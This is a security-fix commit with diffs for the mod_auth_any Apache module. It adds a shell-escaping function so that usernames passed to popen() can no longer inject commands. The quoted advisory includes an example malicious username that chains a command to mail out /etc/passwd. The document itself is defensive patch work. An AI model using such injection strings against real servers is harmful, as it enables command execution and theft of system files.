o Fix vulnerability that allows execution of arbitrary commands on

the server with the uid of the apache process. Background [1]:

"The module accepts a username and password from the web client,
passes them to a user-space executable (using popen(3), which invokes
a shell) and waits for a response in order to authenticate the user.
The password is quoted on the popen() command line to avoid
interpretation of shell special chars, but the username is not.
Thus a malicious user can execute commands by supplying an appropriately
crafted username. (e.g. "foo&mail me@my.home</etc/passwd")

"The problem is easily fixed by adding quotes (and escaping any
quotes already present) to the username and password in the popen
command line."

o Fix this by adding a escaping function from [2]. Then, modifying
  this function appropriately with ideas from [3]. Apply the new
  escaping code to mod_auth_any.
o Bump PORTREVISION

Submitted by:	Security Officer (nectar),
		Red Hat Security Response Team <security@redhat.com> [1]
Obtained from:	mod_auth_any CVS [2],
		nalin@redhat.com [3]

www/mod_auth_any/Makefile

@@ -7,6 +7,7 @@
 
 PORTNAME=	mod_auth_any
 PORTVERSION=	1.0.2
+PORTREVISION=	1
 CATEGORIES=	www
 MASTER_SITES=	ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/
 EXTRACT_SUFX=	.tgz
@@ -20,6 +21,10 @@ RUN_DEPENDS=	${APXS}:${APACHE_PORT}
 APXS?=		${LOCALBASE}/sbin/apxs
 APACHE_PORT?=	${PORTSDIR}/www/apache13
 
+post-patch:
+	@${CAT} ${FILESDIR}/bash_single_quote_escape_string.c >> \
+		${WRKSRC}/${PORTNAME}.c
+
 do-build:
 	@cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c
 

www/mod_auth_any/files/bash_single_quote_escape_string.c

@@ -0,0 +1,45 @@
+/* Escape special characters in the input string so that the bash
+	shell will not interpolate them when the input string is withing
+	single quotes.
+
+   IN: null-terminated character array containing string to be interpolated
+  OUT: newly allocate (using malloc) null-terminated character array
+       containing the input string with the special characters properly
+       escaped */
+char* bash_single_quote_escape_string(const char *s) {
+  /* used to count the length of the string and the number of single quotes */
+  int str_len, sq_count;
+  int s_pos, buf_pos; /* copy chars loop counter */
+  /* used to hold the final result string */
+  char *buf;
+  const char *escapees = "\"'\\$~` \t|&;()<>";
+
+  /* Count the single quotes.
+	  LOOP INVARIANT: str_len < (number of chars in string 's')
+      POSTCONDITION: sq_count == (number of single quotes in string 's') */
+  for (str_len = 0, sq_count = 0; s[str_len] != '\0'; str_len++)
+	 if (strchr(escapees, s[str_len]) != NULL)
+		sq_count++;
+
+  /* Allocate the memory for the final string.
+	  Each ' (one char) will become \' (2 chars), so multiply by 2
+     and don't forget to add 1 for terminating null. */
+  buf = (char*) malloc(sizeof(char) * (str_len + 1 + sq_count * 2));
+
+  /* Copy the chars of 's' into 'buf', turning each ' into \' */
+  for (s_pos = 0, buf_pos = 0; s_pos < str_len; s_pos++) {
+	 /* If we see a single quote, then put '\'' into 'buf' and advance
+		 buf_pos 4 positions, else put the next char from 's' into 'buf'
+		 and advance buf_pos 1 position. */
+	 if(strchr(escapees, s[s_pos]) != NULL) {
+		buf[buf_pos++] = '\\';
+		buf[buf_pos++] = s[s_pos];
+	 } else {
+		buf[buf_pos++] = s[s_pos];
+	 }
+  }
+  /* don't forget the null terminator */
+  buf[buf_pos] = '\0';
+
+  return buf;
+}

www/mod_auth_any/files/patch-mod_auth_any.c

@@ -0,0 +1,37 @@
+--- mod_auth_any.c.orig	Tue Jan  9 05:48:20 2001
++++ mod_auth_any.c	Tue Mar 25 01:09:55 2003
+@@ -121,6 +121,7 @@
+   
+ */
+ 
++char* bash_single_quote_escape_string(const char *);
+   
+ /* NB: debugging stuff */
+ extern int errno;
+@@ -180,13 +181,25 @@
+     const char *rpw, *w;
+     FILE* ext_authprog;
+     FILE* fp;
++    char *escaped_user, *escaped_password;
+     
+     l = (char*) malloc (MAX_STRING_LEN * sizeof(char));
++    memset (l, '\0', MAX_STRING_LEN);
+     execstr = (char*) malloc (MAX_STRING_LEN * sizeof(char));
+ 
+     setenv ("REMOTE_ADDR", r -> connection -> remote_ip, 1);
++
++    /* escape the user name and the password */
++    escaped_user = bash_single_quote_escape_string(user);
++    escaped_password = bash_single_quote_escape_string(password);
++
+     /* open the program stream */
+-    snprintf (execstr, MAX_STRING_LEN, "%s %s \"%s\"", auth_pwfile, user, password);
++    snprintf (execstr, MAX_STRING_LEN, "%s %s %s", auth_pwfile, escaped_user, escaped_password);
++
++    /* free the escaped user and password before we forget */
++    free(escaped_user);
++    free(escaped_password);
++
+     if (!(ext_authprog = popen (execstr, "r"))) {
+ 
+       ap_log_rerror (APLOG_MARK, APLOG_ERR, r, "Could not popen() on program: %s: %s",